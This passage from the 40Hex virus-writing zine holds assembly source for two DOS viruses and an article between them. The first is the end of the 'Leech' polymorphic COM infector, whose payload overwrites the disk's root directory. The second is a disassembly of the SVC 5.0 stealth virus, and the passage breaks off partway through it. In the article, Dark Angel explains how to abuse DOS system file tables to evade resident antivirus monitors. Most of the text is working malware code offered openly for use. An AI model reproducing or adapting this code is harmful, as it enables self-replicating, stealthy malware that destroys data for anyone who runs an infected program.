oldint24 dw 0, 0 datestore dw 0 timestore dw 0 runningflag db 1 evenodd dw 0 enter_leech: call next next: pop si mutatearea1: cli push ds ; Why? pop es mov bp,sp ; save sp mov sp,si ; sp = offset next add sp,encrypt_value1 - 1 - next mutatearea2: mov cx,ss ; save ss mov ax,cs mov ss,ax ; ss = PSP pop bx ; get encryption value dec sp dec sp add si,startencrypt - next nop decrypt: mutatearea3: pop ax xor al,bh ; decrypt away! push ax dec sp cmp sp,si jae decrypt startencrypt: mov ax,es dec ax mov ds,ax ; ds->MCB db 81h,6,3,0 ;add word ptr ds:[3],-reslength dw 0 - reslength mov bx,ds:[3] ; bx = memory size mov byte ptr ds:[0],'Z' ; mark end of chain inc ax ; ax->PSP inc bx add bx,ax ; bx->high area mov es,bx ; as does es mov ss,cx ; restore ss add si,leech - startencrypt mov bx,ds ; save MCB segment mov ds,ax mov sp,bp ; restore sp push si xor di,di mov cx,virlength ; 1024 bytes cld rep movsb pop si push bx mov bx,offset highentry push es push bx retf ; jmp to highentry in ; high memory highentry: mov es,ax ; es->PSP mov ax,cs:filesize add ax,100h ; find stored area mov di,si mov si,ax mov cx,virlength rep movsb ; and restore over virus code pop es ; MCB xor ax,ax mov ds,ax ; ds->interrupt table sti cmp word ptr ds:21h*4,offset int21 ; already resident? jne go_resident db 26h,81h,2eh,3,0 ;sub word ptr es:[3],-reslength dw 0 - reslength ; alter memory size test byte ptr ds:[46Ch],0E7h ; 1.17% chance of activation jnz exit_virus push cs pop ds mov si,offset message display_loop: ; display ASCIIZ string lodsb ; get next character or al,0 ; exit if 0 jz exit_display_loop mov ah,0Eh ; otherwise write character int 10h jmp short display_loop exit_display_loop: mov ah,32h ; Get DPB -> DS:BX xor dl,dl int 21h jc exit_virus ; exit on error call getint13and24 call setint13and24 mov dx,[bx+10h] ; first sector of root ; directory ; BUG: won't work in DOS 4+ mov ah,19h ; default drive -> al int 21h mov cx,2 ; overwrite root directory int 26h pop bx call setint13and24 ; restore int handlers exit_virus: jmp returnCOM go_resident: db 26h, 81h, 6, 12h, 0 ;add word ptr es:12h,-reslength dw 0 - reslength ; alter top of memory in PSP mov bx,ds:46Ch ; BX = random # push ds push cs pop ds push cs pop es mov runningflag,1 ; reset flag and bh,80h mov nothing1,bh mutate1: test bl,1 jnz mutate2 mov si,offset mutatearea1 add si,evenodd lodsb xchg al,[si] ; swap instructions mov [si-1],al mutate2: test bl,2 jnz mutate3 mov si,offset mutatearea2 add si,evenodd lodsw xchg ax,[si] ; swap instructions mov [si-2],ax mutate3: test bl,4 jnz mutate4 mov si,offset mutatearea3 mov al,2 xor [si],al ; flip between ax & dx xor [si+2],al xor [si+3],al mutate4: test bl,8 jnz findint21 mov si,offset next mov di,offset readbuffer mov cx,offset enter_leech push si push di lodsb cmp al,5Eh ; 1 byte pop si? je now_single_byte_encode inc si ; skip second byte of two ; byte encoding of pop si now_single_byte_encode: push cx rep movsb pop cx pop si pop di cmp al,5Eh ; 1 byte pop si? je encode_two_bytes ; then change to 2 mov al,5Eh ; encode a pop si stosb rep movsb ; then copy decrypt over mov al,90h ; plus a nop to keep virus stosb ; length constant xor ax,ax ; clear the flag jmp short set_evenodd_flag encode_two_bytes: mov ax,0C68Fh ; encode a two byte form of stosw ; pop si rep movsb mov ax,1 ; set evenodd flag set_evenodd_flag: mov cs:evenodd,ax findint21: mov ah,30h ; Get DOS version int 21h cmp ax,1E03h ; DOS 3.30? jne notDOS33 mov ah,34h ; Get DOS critical error ptr int 21h mov bx,1460h ; int 21h starts here jmp short alterint21 notDOS33: mov ax,3521h ; just get current int 21 handler int 21h alterint21: mov oldint21,bx mov word ptr ds:oldint21+2,es mov si,21h*4 ; save old int 21 handler pop ds ; found in interrupt table push si push cs pop es mov di,offset topint21 movsw movsw pop di ; and put new one in push ds pop es mov ax,offset int21 stosw mov ax,cs stosw mov di,offset startencrypt mov al,cs:encrypt_value1 ; decrypt original program code decryptcode: xor cs:[di],al inc di cmp di,offset decryptcode jb decryptcode returnCOM: mov ah,62h ; Get current PSP int 21h push bx ; restore segment registers mov ds,bx mov es,bx mov ax,100h push ax retf ; Return to PSP:100h infect: push si push ds push es push di cld push cs pop ds xor dx,dx ; go to start of file call movefilepointer mov dx,offset readbuffer ; and read 3 bytes mov ah,3Fh mov cx,3 call callint21 jc exiterror xor di,di mov ax,readbuffer mov cx,word ptr ds:[0] cmp cx,ax ; check if already infected je go_exitinfect cmp al,0EBh ; jmp short? jne checkifJMP mov al,ah xor ah,ah add ax,2 mov di,ax ; di = jmp location checkifJMP: cmp al,0E9h ; jmp? jne checkifEXE ; nope mov ax,word ptr readbuffer+1 add ax,3 mov di,ax ; di = jmp location xor ax,ax checkifEXE: cmp ax,'MZ' je exiterror cmp ax,'ZM' jne continue_infect exiterror: stc go_exitinfect: jmp short exitinfect nop continue_infect: mov dx,di push cx call movefilepointer ; go to jmp location mov dx,virlength ; and read 1024 more bytes mov ah,3Fh mov cx,dx call callint21 pop cx jc exiterror cmp readbuffer,cx je go_exitinfect mov ax,di sub ah,0FCh cmp ax,filesize jae exiterror mov dx,filesize call movefilepointer mov dx,virlength ; write virus to middle mov cx,dx ; of file mov ah,40h call callint21 jc exitinfect mov dx,di call movefilepointer push cs pop es mov di,offset readbuffer push di push di xor si,si mov cx,di rep movsb mov si,offset encrypt_value2 mov al,encrypted_file encryptfile: ; encrypt infected file xor [si],al inc si cmp si,7FFh jb encryptfile pop cx pop dx mov ah,40h ; and write it to end of file call callint21 exitinfect: pop di pop es pop ds pop si retn int21: cmp ax,4B00h ; Execute? je execute cmp ah,3Eh ; Close? je handleclose cmp ah,11h ; Find first? je findfirstnext cmp ah,12h ; Find next? je findfirstnext exitint21: db 0EAh ; jmp far ptr topint21 dw 0, 0 findfirstnext: push si mov si,offset topint21 pushf call dword ptr cs:[si] ; call int 21 handler pop si push ax push bx push es mov ah,2Fh ; Get DTA call callint21 cmp byte ptr es:[bx],0FFh ; extended FCB? jne noextendedFCB add bx,7 ; convert to normal noextendedFCB: mov ax,es:[bx+17h] ; Get time and ax,1Fh ; and check infection stamp cmp ax,1Eh jne exitfindfirstnext mov ax,es:[bx+1Dh] cmp ax,virlength * 2 + 1 ; too small for infection? jb exitfindfirstnext ; then not infected sub ax,virlength ; alter file size mov es:[bx+1Dh],ax exitfindfirstnext: pop es pop bx pop ax iret int24: mov al,3 iret callint21: pushf call dword ptr cs:oldint21 retn movefilepointer: xor cx,cx mov ax,4200h call callint21 retn execute: push ax push bx mov cs:runningflag,0 mov ax,3D00h ; open file read/only call callint21 mov bx,ax mov ah,3Eh ; close file int 21h ; to trigger infection pop bx pop ax go_exitint21: jmp short exitint21 handleclose: or cs:runningflag,0 ; virus currently active? jnz go_exitint21 push cx push dx push di push es push ax push bx call getint13and24 call setint13and24 ; convert handle to filename mov ax,1220h ; get job file table entry int 2Fh jc handleclose_noinfect ; exit on error mov ax,1216h ; get address of SFT mov bl,es:[di] xor bh,bh int 2Fh ; es:di->file entry in SFT mov ax,es:[di+11h] mov cs:filesize,ax ; save file size, mov ax,es:[di+0Dh] and al,0F8h mov cs:timestore,ax ; time, mov ax,es:[di+0Fh] mov cs:datestore,ax ; and date cmp word ptr es:[di+29h],'MO' ; check for COM extension jne handleclose_noinfect cmp byte ptr es:[di+28h],'C' jne handleclose_noinfect cmp cs:filesize,0FA00h ; make sure not too large jae handleclose_noinfect mov al,20h ; alter file attribute xchg al,es:[di+4] mov ah,2 ; alter open mode to read/write xchg ah,es:[di+2] pop bx push bx push ax call infect pop ax mov es:[di+4],al ; restore file attribute mov es:[di+2],ah ; and open mode mov cx,cs:timestore jc infection_not_successful or cl,1Fh ; make file infected in and cl,0FEh ; seconds field infection_not_successful: mov dx,cs:datestore ; restore file time/date mov ax,5701h call callint21 handleclose_noinfect: pop bx pop ax pop es pop di pop dx pop cx call callint21 call setint13and24 retf 2 ; exit with flags intact getint13and24: mov ah,13h ; Get BIOS int 13h handler int 2Fh mov cs:oldint13,bx mov cs:oldint13+2,es int 2Fh ; Restore it mov cs:oldint24,offset int24 mov cs:oldint24+2,cs retn setint13and24: push ax push si push ds pushf cli cld xor ax,ax mov ds,ax ; ds->interrupt table mov si,13h*4 lodsw xchg ax,cs:oldint13 ; replace old int 13 handler mov [si-2],ax ; with original BIOS handler lodsw xchg ax,cs:oldint13+2 mov [si-2],ax mov si,24h*4 ; replace old int 24 handler lodsw ; with our own handler xchg ax,cs:oldint24 mov [si-2],ax lodsw xchg ax,cs:oldint24+2 mov [si-2],ax popf pop ds pop si pop ax retn message db 'The leech live ...', 0 db 'April 1991 The Topler.' db 0, 0, 0, 0, 0 encrypt_value1 db 0 readbuffer dw 0 db 253 dup (0) nothing1 db 0 db 152 dup (0) encrypt_value2 db 0 db 614 dup (0) encrypted_file db 0 db 1280 dup (0) carrier: dw 20CDh end leech ------------------------------------------------------------------------------- 40Hex Issue 11 Volume 3 Number 2 File 006 ııııııııııııııııııııı SFT's and Their Usage ııııııııııııııııııııı By Dark Angel Phalcon/Skism ııııııııııııııııııııı A powerful though seldom-used technique in virus writing is the use of the system file table, an internal DOS structure similar in some respects to FCBs, albeit vastly more powerful. The system file table holds the critical information on the state of an open file, including the current pointer location, the open mode, and the file size. Manipulation of the system file tables can often replace calls to corresponding DOS interrupt routines and therefore, when combined with other techniques, reduces the effectiveness of a TSR virus monitor and decreases code size. Each open file has a corresponding system file table. The following tables come from Ralf Brown's interrupt listing. Format of DOS 2.x system file tables: Offset Size Description 00h DWORD pointer to next file table 04h WORD number of files in this table 06h 28h bytes per file Offset Size Description 00h BYTE number of file handles referring to this file 01h BYTE file open mode (see AH=3Dh) 02h BYTE file attribute 03h BYTE drive (0 = character device, 1 = A, 2 = B, etc) 04h 11 BYTEs filename in FCB format (no path, no period, blank-padded) 0Fh WORD ??? 11h WORD ??? 13h DWORD file size??? 17h WORD file date in packed format (see AX=5700h) 19h WORD file time in packed format (see AX=5700h) 1Bh BYTE device attribute (see AX=4400h) ---character device--- 1Ch DWORD pointer to device driver ---block device--- 1Ch WORD starting cluster of file 1Eh WORD relative cluster in file of last cluster accessed ------ 20h WORD absolute cluster number of current cluster 22h WORD ??? 24h DWORD current file position??? Format of DOS 3.x system file tables and FCB tables: Offset Size Description 00h DWORD pointer to next file table 04h WORD number of files in this table 06h 35h bytes per file Offset Size Description 00h WORD number of file handles referring to this file 02h WORD file open mode (see AH=3Dh) bit 15 set if this file opened via FCB 04h BYTE file attribute 05h WORD device info word (see AX=4400h) 07h DWORD pointer to device driver header if character device else pointer to DOS Drive Parameter Block (see AH=32h) 0Bh WORD starting cluster of file 0Dh WORD file time in packed format (see AX=5700h) 0Fh WORD file date in packed format (see AX=5700h) 11h DWORD file size 15h DWORD current offset in file 19h WORD relative cluster within file of last cluster accessed 1Bh WORD absolute cluster number of last cluster accessed 0000h if file never read or written??? 1Dh WORD number of sector containing directory entry 1Fh BYTE number of dir entry within sector (byte offset/32) 20h 11 BYTEs filename in FCB format (no path/period, blank-padded) 2Bh DWORD (SHARE.EXE) pointer to previous SFT sharing same file 2Fh WORD (SHARE.EXE) network machine number which opened file 31h WORD PSP segment of file's owner (see AH=26h) 33h WORD offset within SHARE.EXE code segment of sharing record (see below) 0000h = none Format of DOS 4+ system file tables and FCB tables: Offset Size Description 00h DWORD pointer to next file table 04h WORD number of files in this table 06h 3Bh bytes per file Offset Size Description 00h WORD number of file handles referring to this file 02h WORD file open mode (see AH=3Dh) bit 15 set if this file opened via FCB 04h BYTE file attribute 05h WORD device info word (see AX=4400h) bit 15 set if remote file bit 14 set means do not set file date/time on closing 07h DWORD pointer to device driver header if character device else pointer to DOS Drive Parameter Block (see AH=32h) or REDIR data 0Bh WORD starting cluster of file 0Dh WORD file time in packed format (see AX=5700h) 0Fh WORD file date in packed format (see AX=5700h) 11h DWORD file size 15h DWORD current offset in file ---local file--- 19h WORD relative cluster within file of last cluster accessed 1Bh DWORD number of sector containing directory entry 1Fh BYTE number of dir entry within sector (byte offset/32) ---network redirector--- 19h DWORD pointer to REDIRIFS record 1Dh 3 BYTEs ??? ------ 20h 11 BYTEs filename in FCB format (no path/period, blank-padded) 2Bh DWORD (SHARE.EXE) pointer to previous SFT sharing same file 2Fh WORD (SHARE.EXE) network machine number which opened file 31h WORD PSP segment of file's owner (see AH=26h) 33h WORD offset within SHARE.EXE code segment of sharing record (see below) 0000h = none 35h WORD (local) absolute cluster number of last clustr accessed (redirector) ??? 37h DWORD pointer to IFS driver for file, 0000000h if native DOS In order to exploit this nifty structure in DOS, the virus must first find the location of the appropriate system file table. This may be easily accomplished with a few undocumented DOS calls. Given the file handle in bx, the following code will return the address of the corresponding system file table: mov ax,1220h ; Get job file table entry to ES:DI int 2fh ; DOS 3+ only mov bl,es:di ; get number of the SFT for the file handle ; -1 = handle not open mov ax,1216h ; get address of the system file table int 2fh ; entry number bx ; ES:DI now points to the system file table entry Now that the system file table entry address is known, it is a trivial matter to alter the various bytes of the entry to fit your particular needs. Most viruses must first clear a file's attributes in order to open the file in read/write mode, since it would otherwise not be able to write to a read- only file. This handicap is easily overcome by opening the file in read- only mode (al = 0) and changing the byte (or word) referring to the file's open mode to 2. This has the added benefit of bypassing some resident alarms, which generally do not go off if a file is opened in read only mode. It is also possible to set a file's pointer by altering the double word at offset 15h (in DOS 3+). So a quick and easy way to reset the file pointer is: mov es:di+15h,0 mov es:di+17h,0 It is acceptable to ignore the DOS 2.X system file table format. DOS 2.X is not in common use today and many programs simply refuse to run under such primitive versions. Most of the useful offsets are constant in DOS 3.X+, which simplifies the code tremendously. This is only a surface treatment of a topic which warrants further investigation. Numerous opportunities exist for the enterprising virus author to exploit the power of the system file tables. But the only way to find these opportunities is to experiment. Have fun! 40Hex Issue 11 Volume 3 Number 2 File 007 SVC 5.0 SVC 5.0 is a good example of a true stealth virus. Cheesy, primitive stealth-wanna-be viruses "disinfect" by rewriting the files on the disk. Not so with SVC 5.0 and all real stealth viruses, which alter only the memory image of the file, leaving the original intact. This has advantages, including: o Time savings o Fewer disk accesses o No additional disk writes are required General Notes: SVC 5.0 is a parasitic, resident COM and EXE infector. It does not have encryption, but this is offset by the true stealth capabilities of the virus. Although it hides the file length increase, the virus does not suffer from the dreaded CHKDSK crosslinking errors experienced by many early stealth viruses. However, the code to overcome this problem is kludgily implemented; the virus detects execution of programs with the "HK" and "DS" strings in the filename. Although this helps with CHKDSK, it won't help with other programs which work in CHKDSK's asinine fashion. -- Dark Angel Phalcon/Skism 1993 ------------------------------------------------------------------------------- .model tiny .code ; SVC 5-A ; Disassembly done by Dark Angel of Phalcon/Skism ; Assemble with Tasm /m SVC5-A org 0 start: call next next: pop si db 83h,0EEh,3 ; sub si,offset next mov word ptr cs:[si+offset storeAX],ax push es push si xor dx,dx mov ah,84h ; installation check int 21h pop si push si cmp dx,1990h jne installvirus cmp bh,byte ptr cs:[si+versionbyte] ja go_exitvirus jc installvirus push si push es xchg ah,al ; convert ax to virus xor ax,0FFFFh ; CS mov es,ax ; es->resident virus push cs pop ds xor di,di mov cx,begindata - start - 1; same version? cld repe cmpsb pop es pop si jz go_exitvirus ; yes, exit jmp reboot ; else reboot go_exitvirus: jmp exitvirus installvirus: push es xor ax,ax mov ds,ax les ax,dword ptr ds:21h*4 ; save old int 21h mov cs:[si+oldint21],ax ; handler mov word ptr cs:[si+oldint21+2],es les ax,dword ptr ds:8*4 ; save old int 8 handler mov cs:[si+oldint8],ax mov word ptr cs:[si+oldint8+2],es pop es mov cs:[si+carrierPSP],es ; save current PSP mov ah,49h ; Release memory @ PSP int 21h jc exitvirus ; exit on error mov ah,48h ; Find total memory size mov bx,0FFFFh int 21h sub bx,(viruslength+15)/16+1; shrink allocation for carrier jc exitvirus mov cx,es ; compute new memory stc ; block location adc cx,bx mov ah,4Ah ; Allocate memory for carrier int 21h mov bx,(viruslength+15)/16 stc sbb es:[2],bx ; fix high memory field in PSP mov es,cx mov ah,4Ah ; Allocate memory for virus int 21h mov ax,es ; Go to virus MCB dec ax mov ds,ax mov word ptr ds:[1],8 ; mark owner = DOS mov ax,cs:[si+carrierPSP] ; go back to carrier PSP dec ax ; go to its MCB mov ds,ax mov byte ptr ds:[0],'Z' ; mark it end of block push cs pop ds xor di,di ; copy virus to high memory mov cx,viruslength + 1 cld rep movsb xor ax,ax mov ds,ax cli ; and set up virus mov word ptr ds:21h*4,offset int21 mov word ptr ds:21h*4+2,es ; interrupt handlers mov word ptr ds:8*4,offset int8 mov word ptr ds:8*4+2,es exitvirus: sti push cs pop ds pop si push si mov ah,byte ptr cs:[si+offset encryptval1] mov dh,byte ptr cs:[si+offset encryptval2] add si,offset savebuffer call decrypt pop si pop es cld cmp cs:[si+offset savebuffer],'ZM' je returnEXE mov di,100h push cs pop ds push cs pop es push si add si,offset savebuffer movsb movsw pop si mov ax,100h push ax mov ax,word ptr cs:[si+offset storeAX] retn returnEXE: mov bx,es add bx,10h add bx,cs:[si+savebuffer+16h] mov word ptr cs:[si+jmpcs],bx mov bx,cs:[si+savebuffer+14h] mov word ptr cs:[si+jmpip],bx mov bx,es mov ds,bx add bx,10h add bx,cs:[si+savebuffer+0eh] cli mov ss,bx mov sp,cs:[si+savebuffer+10h] sti mov ax,word ptr cs:[si+offset storeAX] db 0EAh ; jmp far ptr jmpip dw 0 jmpcs dw 0 int21: pushf push ax push bx push cx push dx push si push di push ds push es mov word ptr cs:int21command,ax cmp word ptr cs:int21command,4B03h ; load/no PSP je _load_noexecute cmp word ptr cs:int21command,4B01h ; load/no execute je _load_noexecute cmp word ptr cs:int21command,4B00h ; load/execute je _load_execute cmp ah,3Dh ; handle open je _handleopen cmp ah,3Eh ; handle close je _handleclose cmp ah,40h ; handle write je _handlewrite cmp ah,4Ch ; terminate je _terminate jmp short exitint21 nop _terminate: jmp terminate _handlewrite: jmp handlewrite _load_noexecute: jmp load_noexecute _handleclose: jmp handleclose _handlecreate: jmp handlecreate _load_execute: jmp load_execute _handleopen: jmp handleopen _FCBfindfirstnext: jmp FCBfindfirstnext _ASCIIfindfirstnext: jmp ASCIIfindfirstnext _handlegoEOF: jmp handlegoEOF _handleopen2: jmp handleopen2 _handleread: jmp handleread _getsetfiletime: jmp getsetfiletime return: retn load_execute_exit: call restoreint24and23 jmp short exitint21 nop restoreint24and23: xor ax,ax mov ds,ax mov ax,cs:oldint24 mov ds:24h*4,ax mov ax,cs:oldint24+2 mov word ptr ds:24h*4+2,ax mov ax,cs:oldint23 mov ds:23h*4,ax mov ax,cs:oldint23+2 mov word ptr ds:23h*4+2,ax retn exitint21: pop es pop ds pop di pop si pop dx pop cx pop bx pop ax cmp ah,3Ch ; handlecreate je _handlecreate cmp ah,83h ; installation check for je old_installation_check ; other versions of SVC cmp ah,84h ; installation check for je installation_check ; this version of SVC cmp ah,4Eh ; find first? je _ASCIIfindfirstnext cmp ah,4Fh ; find next? je _ASCIIfindfirstnext cmp ah,11h ; find first je _FCBfindfirstnext cmp ah,12h ; find next je _FCBfindfirstnext cmp ax,4202h ; go EOF je _handlegoEOF cmp ah,3Dh ; handle open je _handleopen2 cmp ah,3Fh ; handle read je _handleread cmp ah,57h ; get/set file time je _getsetfiletime popf ; chain to original int jmp dword ptr cs:oldint21 ; 21h handler callint21: cli pushf call dword ptr cs:oldint21 retn installation_check: popf mov bh,cs:versionbyte mov ax,cs xor ax,0FFFFh xchg ah,al common_installation_check_return: mov dx,1990h iret old_installation_check: popf jmp short common_installation_check_return popdsdx_return: pop dx pop ds jmp return load_execute: call check_chkdsk call infectdsdx jmp load_execute_exit infectdsdx: call setint24and23 jmp short infectdsdx_continue nop setint24and23: xor ax,ax mov es,ax les ax,dword ptr es:24h*4 mov cs:oldint24,ax mov cs:oldint24+2,es xor ax,ax mov es,ax les ax,dword ptr es:23h*4 mov cs:oldint23,ax mov cs:oldint23+2,es xor ax,ax mov es,ax mov word ptr es:24h*4,offset int24 mov word ptr es:24h*4+2,cs mov word ptr es:23h*4,offset int23 mov word ptr es:23h*4+2,cs retn infectdsdx_continue: push ds push dx cmp byte ptr cs:tickcount,3Ch ; don't infect too early jb popdsdx_return ; after previous one mov ax,4300h ; get file attributes call callint21 jc popdsdx_return mov cs:fileattr,cx and cl,0FEh ; turn off r/o bit mov ax,4301h ; and reset file attributes call callint21 jc popdsdx_return mov cx,cs:fileattr and cl,4 ; test cl,4 cmp cl,4 ; check system attribute je infecthandle_exit ; exit if set mov ax,3D02h ; open file read/write call callint21 jc infecthandle_exit mov bx,ax ; handle to bx push dx ; save file name pointer mov ax,5700h ; get file time/date call callint21 pop dx and cx,1Eh ; check if seconds = 60 cmp cx,1Eh ; (infection marker) jne infect_dsdx_checkmo ; continue if not so marked jmp short infecthandle_alreadyinfected nop infect_dsdx_checkmo: call check_command_com jnc infecthandle jmp short infecthandle_alreadyinfected nop check_command_com: cld mov si,dx check_command_com_loop: lodsw cmp ax,'MM' ; COMMAND.COM? je check_command_com_yes cmp ax,'mm' je check_command_com_yes cmp ax,'MB' ; IBMBIO/IBMDOS? je check_command_com_yes cmp ax,'mb' je check_command_com_yes cmp ah,0 je check_command_com_no dec si jmp short check_command_com_loop check_command_com_yes: stc retn check_command_com_no: clc retn infecthandle_exit: jmp popdsdx_return infecthandle: cmp bx,5 ; check if handle too jb infecthandle_exit ; small (predefined) call checkifinfected jnc infecthandle_alreadyinfected call infect_handle infecthandle_alreadyinfected: mov ah,3Eh ; Close file call callint21 pop dx pop ds jc infecthandle_exit2 mov ax,4301h ; restore file attributes mov cx,cs:fileattr call callint21 infecthandle_exit2: jmp return infect_handle_exit: jmp infect_handle_error infect_handle: mov ax,5700h ; get file time/date call callint21 mov cs:filetime,cx mov cs:filedate,dx xor cx,cx xor dx,dx mov ax,4200h ; go to start of file call callint21 push cs pop ds mov cx,18h ; read header mov dx,offset savebuffer mov ah,3Fh call callint21 jc infect_handle_exit push cs pop es push cs pop ds mov si,offset savebuffer ; copy to work buffer mov di,offset workbuffer mov cx,18h cld rep movsb mov ax,2C00h call callint21 mov byte ptr cs:encryptval2,dh mov byte ptr cs:encryptval1,dl mov ah,dl mov si,offset savebuffer call decrypt cmp cs:workbuffer,'ZM' ; check if EXE je infect_handle_EXE mov cs:workbuffer,0E9h ; encode the jmp xor cx,cx xor dx,dx mov ax,4202h ; get file size call callint21 cmp dx,0 jne infect_handle_exit cmp ax,viruslength jb infect_handle_exit cmp ax,0EDE1h ; check if too large jae infect_handle_exit sub ax,3 ; adjust size to jmp location mov word ptr cs:workbuffer+1,ax call writevirusandheader ; write virus to file jmp infect_handle_finish writevirusandheader: push cs pop ds xor dx,dx mov cx,viruslength mov ah,40h ; concatenate virus call callint21 jc writevirusandheader_exit cmp ax,viruslength jne writevirusandheader_exit xor cx,cx xor dx,dx mov ax,4200h ; go to start of file call callint21 jc writevirusandheader_exit mov dx,offset workbuffer ; write new header to file mov ah,40h mov cx,18h call callint21 retn writevirusandheader_exit: stc retn infect_handle_EXE: xor cx,cx ; go to end of file xor dx,dx mov ax,4202h call callint21 push dx ; save file size push ax mov si,ax xor ax,ax xchg ax,dx mov di,1000h mul di mov dx,ax mov ax,si mov si,dx xor dx,dx mov di,10h ; convert to paragraphs div di add ax,si xchg ax,dx sub dx,cs:workbuffer+8 ; subtract header size mov word ptr cs:workbuffer+16h,dx ; insert new initial mov word ptr cs:workbuffer+14h,ax ; CS:IP (end of file) pop ax pop dx add ax,viruslength ; calculate new image adc dx,0 ; size mod 512 and div 512 mov di,200h div di cmp dx,0 je infect_handle_EXE_nofixup add ax,1 ; pagelength fixup infect_handle_EXE_nofixup: mov cs:workbuffer+4,ax mov cs:workbuffer+2,dx mov ds,word ptr cs:workbuffer+16h ; insert new SS:SP mov word ptr cs:workbuffer+0Eh,ds mov ax,word ptr cs:workbuffer+14h add ax,17D7h mov word ptr cs:workbuffer+10h,ax call writevirusandheader ; write virus to file jmp short infect_handle_finish nop infect_handle_error: stc infect_handle_finish: mov ax,5701h ; restore file time/date mov cx,cs:filetime mov dx,cs:filedate jc infect_handle_noreset and cx,0FFFEh ; but set seconds to or cx,1Eh ; 60 mov byte ptr cs:tickcount,0 ; reset tickcount infect_handle_noreset: call callint21 retn int23: iret int24: mov al,3 iret load_noexecute_exit: jmp load_noexecute_closeexit load_noexecute: call setint24and23 push ds push dx mov ax,4300h ; get file attributes call callint21 jc load_noexecute_exit mov cs:fileattr,cx and cl,0FEh ; turn off r/o bit mov ax,4301h ; reset attributes call callint21 jc load_noexecute_exit mov ax,3D02h ; open file read/write call callint21 jc load_noexecute_exit mov bx,ax ; handle to bx call checkifinfected jc load_noexecute_exit jmp short load_noexecute_disinfect nop checkifinfected_exit: stc ; mark infected retn ; and exit checkifinfected: mov ax,5700h ; get file time/date call callint21 mov cs:filedate,dx mov cs:filetime,cx and cx,1Fh cmp cx,1Eh jne checkifinfected_exit xor cx,cx xor dx,dx mov ax,4202h ; go to end of file call callint21 jc checkifinfected_exit mov cs:filesizelo,ax ; save filesize mov cs:filesizehi,dx sub ax,endvirus - infection_marker sbb dx,0 mov cx,ax xchg cx,dx mov ax,4200h ; rewind to infection call callint21 ; marker jc checkifinfected_exit push cs pop ds mov ah,3Fh ; read file mov cx,3 mov dx,offset savebuffer call callint21 jc checkifinfected_exit push cs pop es mov si,offset savebuffer ; check for infection mov di,offset infection_marker mov cx,3 ; marker repne cmpsb jnz checkifinfected_exit clc ; mark not infected retn ; and exit load_noexecute_disinfect: call disinfect jmp load_noexecute_closeexit disinfect_exit: jmp disinfect_error disinfect: mov dx,cs:filesizelo mov cx,cs:filesizehi sub dx,75h ; go to savebuffer nop sbb cx,0 mov ax,4200h call callint21 jc disinfect_exit jmp short disinfect_file nop jmp load_noexecute_closeexit disinfect_file: push cs pop ds mov ah,3Fh ; Read carrier's mov cx,18h ; original header mov dx,offset savebuffer push cs pop ds call callint21 jc disinfect_exit mov dx,cs:filesizelo ; go to decryption mov cx,cs:filesizehi ; values sub dx,endvirus - encryptval1 nop sbb cx,0 mov ax,4200h call callint21 mov dx,offset encryptval1 mov ah,3Fh ; read decryption values mov cx,2 call callint21 mov si,offset savebuffer mov ah,byte ptr cs:encryptval1 mov dh,byte ptr cs:encryptval2 call decrypt ; decrypt old header xor cx,cx xor dx,dx mov ax,4200h call callint21 jc disinfect_error mov ah,40h ; Write old header to mov cx,18h ; file mov dx,offset savebuffer call callint21 jc disinfect_error mov dx,cs:filesizelo mov cx,cs:filesizehi sub dx,viruslength sbb cx,0 ; go to end of carrier mov ax,4200h ; file and call callint21 jc disinfect_error mov ah,40h ; truncate file xor cx,cx ; at current position call callint21 jc disinfect_error mov ax,5701h ; restore file time/date mov dx,cs:filedate mov cx,cs:filetime xor cx,1Fh call callint21 retn disinfect_error: stc ; mark error retn load_noexecute_closeexit: mov ah,3Eh ; Close file and call callint21 mov ax,4301h ; restore attributes mov cx,offset fileattr ; BUG!!! pop dx pop ds call callint21 call restoreint24and23 jmp exitint21 FCBfindfirstnext: call dword ptr cs:oldint21 ; prechain pushf pop cs:returnFlags cmp al,0FFh je FCBfindfirstnext_exit cmp cs:chkdskflag,0 jne FCBfindfirstnext_exit push ax push bx push cx push dx push es push ds mov ah,2Fh ; Get DTA call callint21 cmp word ptr es:[bx],0FFh ; extended FCB? jne FCBfindfirstnext_noextendedFCB add bx,8 ; convert if so FCBfindfirstnext_noextendedFCB: mov ax,es:[bx+16h] and ax,1Fh ; check if seconds = 60 cmp ax,1Eh jne FCBfindfirstnext_notinfected xor word ptr es:[bx+16h],1Fh; fix seconds field sub word ptr es:[bx+1Ch],viruslength sbb word ptr es:[bx+1Eh],0 ; shrink size FCBfindfirstnext_notinfected: pop ds pop es pop dx pop cx pop bx pop ax FCBfindfirstnext_exit: pop cs:storesIP pop cs:storesCS popf push cs:returnFlags push cs:storesCS push cs:storesIP iret ASCIIfindfirstnext: call dword ptr cs:oldint21 ; prechain pushf pop cs:returnFlags jc ASCIIfindfirstnext_exit cmp cs:chkdskflag,0 jne ASCIIfindfirstnext_exit push ax push bx push cx push dx push es push ds mov ah,2Fh ; Get DTA call callint21 mov ax,es:[bx+16h] ; get file time and ax,1Fh ; to check if file cmp ax,1Eh ; infected jne ASCIIfindfirstnext_notinfected xor word ptr es:[bx+16h],1Fh ; hide time change sub word ptr es:[bx+1Ah],viruslength; and file length sbb word ptr es:[bx+1Ch],0 ; change ASCIIfindfirstnext_notinfected: pop ds pop es pop dx pop cx pop bx pop ax ASCIIfindfirstnext_exit: pop cs:storesIP pop cs:storesCS popf push cs:returnFlags push cs:storesCS push cs:storesIP iret handleopen: call check_infectok jnc handleopen_continue jmp exitint21 check_infectok: cld mov si,dx lodsw cmp ah,':' jne check_infectok_nodrive cmp al,'a' ; make sure not floppy je check_infectok_exit cmp al,'A' je check_infectok_exit cmp al,'B' jb check_infectok_exit ; BUG cmp al,'b' je check_infectok_exit jmp short check_extension nop check_infectok_exit: jmp short check_extension_notok nop check_infectok_nodrive: mov ah,19h ; get default drive call callint21 cmp al,2 ; make sure not floppy jae check_extension jmp short check_extension_notok db 90h check_extension: cld mov si,dx check_extension_findextension: lodsb cmp al,'.' je check_extension_foundextension cmp al,0 jne check_extension_findextension jmp short check_extension_notok db 90h check_extension_foundextension: lodsw cmp ax,'OC' je check_extension_checkcom cmp ax,'oc' je check_extension_checkcom cmp ax,'XE' je check_extension_checkexe cmp ax,'xe' je check_extension_checkexe jmp short check_extension_notok db 90h check_extension_checkcom: lodsb cmp al,'M' je check_extension_ok cmp al,'m' je check_extension_ok jmp short check_extension_notok db 90h check_extension_checkexe: lodsb cmp al,'E' je check_extension_ok cmp al,'e' je check_extension_ok jmp short check_extension_notok db 90h check_extension_ok: clc retn check_extension_notok: stc retn handleopen_continue: call 